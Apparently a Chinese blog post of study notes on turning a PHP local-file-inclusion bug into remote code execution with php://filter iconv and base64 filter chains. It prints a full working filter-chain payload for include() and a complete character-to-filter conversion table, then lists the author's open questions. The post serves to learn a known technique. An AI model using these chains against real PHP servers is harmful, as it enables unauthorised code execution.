PHP Filter chain Study

Published: at 03:42 PM

LFI to RCE in php

<?php
include($_GET[0]);

如何利用上面这段代码实现 RCE ？

关于文件包含和RCE, 听到和了解到最多的可能就是：P牛的Docker PHP裸文件本地包含综述

如果可以包含 pearcmd.php 文件的话, 即可实现RCE,

而今天带来的是通过 PHP的 filter chain，不需要docker环境，实现的RCE

原理

先看payload

$filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp";
include($filter_chain);

接下来通过这个payload来解释下 filter-chain的原理:

  1. 伪协议 php://filter

这一步是使用 php://filter 伪协议处理数据流.

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.

https://www.php.net/manual/en/wrappers.php.php

  1. convert.iconv…

    convert.iconv.UTF8.CSISO2022KR

这一步类似于调用 conv("UTF8", "CSISO2022KR", string) ,即将字符串 string 从 UTF8 的编码形式转换为 CSISO2022KR 编码的形式。

如右图所示, 通过这一步会发现相比于 UTF8的原字符 START, 转换成 CSISO2022KR 编码后多出来了一部分字符：

https://www.php.net/manual/en/filters.convert.php

Untitled

  1. convet.base64-…
# 主要有两种
# convert.base64-encode  和 convert.base64-decode

|convert.base64-encode

这也是一组过滤器, 简单来说就是对数据流里的数据执行 base64_encode() 或者 base64_decode() 函数.

Use of these filters are equivalent to processing all stream data through the base64_encode() and base64_decode() functions respectively.

关于 PHP 中 base64_decode 有一个小 trick：

如右图所示，可以看到在 php -r "echo base64_decode('@_>YmFzZTY0');" 中，结果依然是字符串 base64 。根据大佬们的研究发现，在执行 base64_decode 函数时，会默认忽略非 base64 编码中的字符。

Untitled

好，在了解上述特征之后，来看payload：

include("php://filter/.....")

关于这一点，实属是没想到 include 还能支持 伪协议, 这也是这个payload的关键。 可以直接将 php:// 的内容，如果该文件时 PHP为难，则会直接执行里面的代码。

挖坑：有哪些内置函数还支持伪协议？

核心思路：通过 php://filter/..... 构造恶意代码。

如何构造？

由于编码转换会生成额外的字符，并且base64_decode 函会自动抛弃非 base64编码字符，所以目标就是使用连续编码转换得到我们想要的字符串，编码表如下：

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}

Untitled

比如我使用了 convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2 这个过滤器链得到了 0 这个字符.

但是这时候直接使用 base64_decode() 会失败，因为移除相关字符之后，不符合 base64的特征。随意这里隐含了一个点，在连续使用编码起的过程不能破坏 base64 字符的特征。

过程如下所示：

����������0G�y�Q�p�Q�w�+�A�D�0�A�P�Q�-�

-------->

0GyQpQw+AD0APQ

---------> decode ------> encode 

0GyQpQw+AD0APQ==

关于 convert.base64-decode 还有一个问题， 如下图所示：

Untitled

会发现convert.base64-decode 无法解析 = 号,因此得把 = 去掉, 这里采用的措施是使用 convert.iconv.UTF8.UTF7 过滤器在处理一边得到的数据。因此你会发现 |convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7 他们总是连在一起的，这个过程的目的就是去除杂字符，保留我们想要的字符的。

通过上诉简单的实验, 应该能够理解最终构造的应该是 base64(payload) 的形式。除此之外，由于部分编码转换是在字符前添加新字符，所以这里实际的base64字和我们想要的是一个逆序的关系。

我的疑问

到最后其实还是不太懂这段payload的作用,

php://filter/convert.iconv.UTF8.CSISO2022K

这个过滤器貌似只是生成了一些字符, 我使用 resource=data://,aaa 来代替 resource=php://temp 发现，最后得到的payload和我们预期的太一样: data的长度会影响生成结果的长度!!

Untitled

Untitled

Untitled

但是如果使用了 php://filter/convert.iconv.UTF8.CSISO2022KR,即使输入内容为空，也不会影响 payload 的完整度。

Untitled

Untitled

Reference

https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it

https://github.com/synacktiv/php_filter_chain_generator